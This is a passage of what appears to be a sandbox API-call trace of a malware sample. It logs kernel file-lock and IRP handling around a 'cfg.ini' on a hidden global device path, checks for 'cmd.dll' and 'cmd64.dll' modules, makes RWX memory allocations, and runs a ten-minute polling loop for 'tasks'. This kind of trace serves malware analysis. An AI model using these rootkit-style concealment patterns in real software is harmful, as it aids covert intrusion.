0xfffffa8003aa6e20 [0122.228] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.228] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.228] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.228] IdePortDispatch () returned 0x103 [0122.229] KeWaitForMutexObject () returned 0x0 [0122.229] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.229] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.229] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.229] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.229] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.229] IdePortDispatch () returned 0x103 [0122.229] KeWaitForMutexObject () returned 0x0 [0122.229] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.229] KeLeaveCriticalRegion () [0122.229] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.229] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.230] KeEnterCriticalRegion () [0122.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.230] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.230] KeLeaveCriticalRegion () [0122.230] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.230] KeEnterCriticalRegion () [0122.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.230] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.230] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be38c0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.230] KeLeaveCriticalRegion () [0122.230] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.230] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.230] KeEnterCriticalRegion () [0122.230] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.230] ExFreePoolWithTag (P=0xfffffa8003be3390, Tag=0x0) [0122.230] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.230] KeLeaveCriticalRegion () [0122.230] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.230] ReleaseMutex (hMutex=0xf0) returned 1 [0122.230] Sleep (dwMilliseconds=0x927c0) [0122.245] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.245] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.245] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.245] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.245] KeEnterCriticalRegion () [0122.245] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.245] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.245] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.245] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.245] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.245] IdePortDispatch () returned 0x103 [0122.245] KeWaitForMutexObject () returned 0x0 [0122.245] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.245] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.245] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.245] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.245] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.245] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4d00 [0122.245] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.245] KeLeaveCriticalRegion () [0122.245] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.245] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.245] KeEnterCriticalRegion () [0122.245] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.245] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.245] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.245] KeLeaveCriticalRegion () [0122.245] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.246] KeEnterCriticalRegion () [0122.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.246] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.246] IdePortDispatch () returned 0x103 [0122.246] KeWaitForMutexObject () returned 0x0 [0122.246] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.246] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.246] KeLeaveCriticalRegion () [0122.246] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.246] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.246] KeEnterCriticalRegion () [0122.246] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.246] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c58000 [0122.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.246] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.246] IdePortDispatch () returned 0x103 [0122.246] KeWaitForMutexObject () returned 0x0 [0122.246] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.246] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.246] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.246] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.246] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.246] IdePortDispatch () returned 0x103 [0122.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.247] KeLeaveCriticalRegion () [0122.247] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.247] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.247] KeEnterCriticalRegion () [0122.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.247] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.247] KeLeaveCriticalRegion () [0122.247] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.247] KeEnterCriticalRegion () [0122.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.247] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.247] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be4dc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.247] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.247] KeLeaveCriticalRegion () [0122.247] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.247] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.247] KeEnterCriticalRegion () [0122.247] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.247] ExFreePoolWithTag (P=0xfffffa8003be4d00, Tag=0x0) [0122.248] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.248] KeLeaveCriticalRegion () [0122.248] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.248] ReleaseMutex (hMutex=0xf0) returned 1 [0122.248] Sleep (dwMilliseconds=0x927c0) [0122.262] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.262] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.262] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.262] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.262] KeEnterCriticalRegion () [0122.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.262] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.262] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.262] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.262] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.262] IdePortDispatch () returned 0x103 [0122.262] KeWaitForMutexObject () returned 0x0 [0122.262] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.262] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.262] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.262] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.262] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.262] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4fb0 [0122.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.262] KeLeaveCriticalRegion () [0122.262] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.262] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.262] KeEnterCriticalRegion () [0122.262] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.262] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.262] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.262] KeLeaveCriticalRegion () [0122.263] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.263] KeEnterCriticalRegion () [0122.263] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.263] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.263] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.263] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.263] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.263] IdePortDispatch () returned 0x103 [0122.264] KeWaitForMutexObject () returned 0x0 [0122.264] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.264] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.264] KeLeaveCriticalRegion () [0122.264] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.264] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.264] KeEnterCriticalRegion () [0122.264] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.264] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c5d000 [0122.264] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.264] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.264] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.264] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.264] IdePortDispatch () returned 0x103 [0122.265] KeWaitForMutexObject () returned 0x0 [0122.265] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.265] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.265] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.265] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.265] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.265] IdePortDispatch () returned 0x103 [0122.265] KeWaitForMutexObject () returned 0x0 [0122.265] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.265] KeLeaveCriticalRegion () [0122.265] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.266] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.266] KeEnterCriticalRegion () [0122.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.266] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.266] KeLeaveCriticalRegion () [0122.266] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.266] KeEnterCriticalRegion () [0122.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.266] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.266] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be3f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.266] KeLeaveCriticalRegion () [0122.266] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.266] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.266] KeEnterCriticalRegion () [0122.266] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.266] ExFreePoolWithTag (P=0xfffffa8003be4fb0, Tag=0x0) [0122.266] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.266] KeLeaveCriticalRegion () [0122.266] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.266] ReleaseMutex (hMutex=0xf0) returned 1 [0122.266] Sleep (dwMilliseconds=0x927c0) [0122.283] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.283] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.283] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.283] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.283] KeEnterCriticalRegion () [0122.283] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.283] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.283] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.283] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.283] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.283] IdePortDispatch () returned 0x103 [0122.283] KeWaitForMutexObject () returned 0x0 [0122.283] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.283] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.283] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.283] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.283] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.283] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be4d00 [0122.283] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.283] KeLeaveCriticalRegion () [0122.283] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.284] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.284] KeEnterCriticalRegion () [0122.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.284] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.284] KeLeaveCriticalRegion () [0122.284] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.284] KeEnterCriticalRegion () [0122.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.284] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.284] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.284] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.284] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.284] IdePortDispatch () returned 0x103 [0122.284] KeWaitForMutexObject () returned 0x0 [0122.284] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.284] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.284] KeLeaveCriticalRegion () [0122.284] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.284] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.284] KeEnterCriticalRegion () [0122.284] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.284] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c62000 [0122.284] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.284] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.284] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.284] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.284] IdePortDispatch () returned 0x103 [0122.284] KeWaitForMutexObject () returned 0x0 [0122.285] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.285] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.285] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003aab1d0 [0122.285] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003aab1d0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003aab1d0) [0122.285] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.285] IdePortDispatch () returned 0x103 [0122.285] KeWaitForMutexObject () returned 0x0 [0122.285] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.285] KeLeaveCriticalRegion () [0122.285] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.285] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.285] KeEnterCriticalRegion () [0122.285] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.286] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.286] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.286] KeLeaveCriticalRegion () [0122.286] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 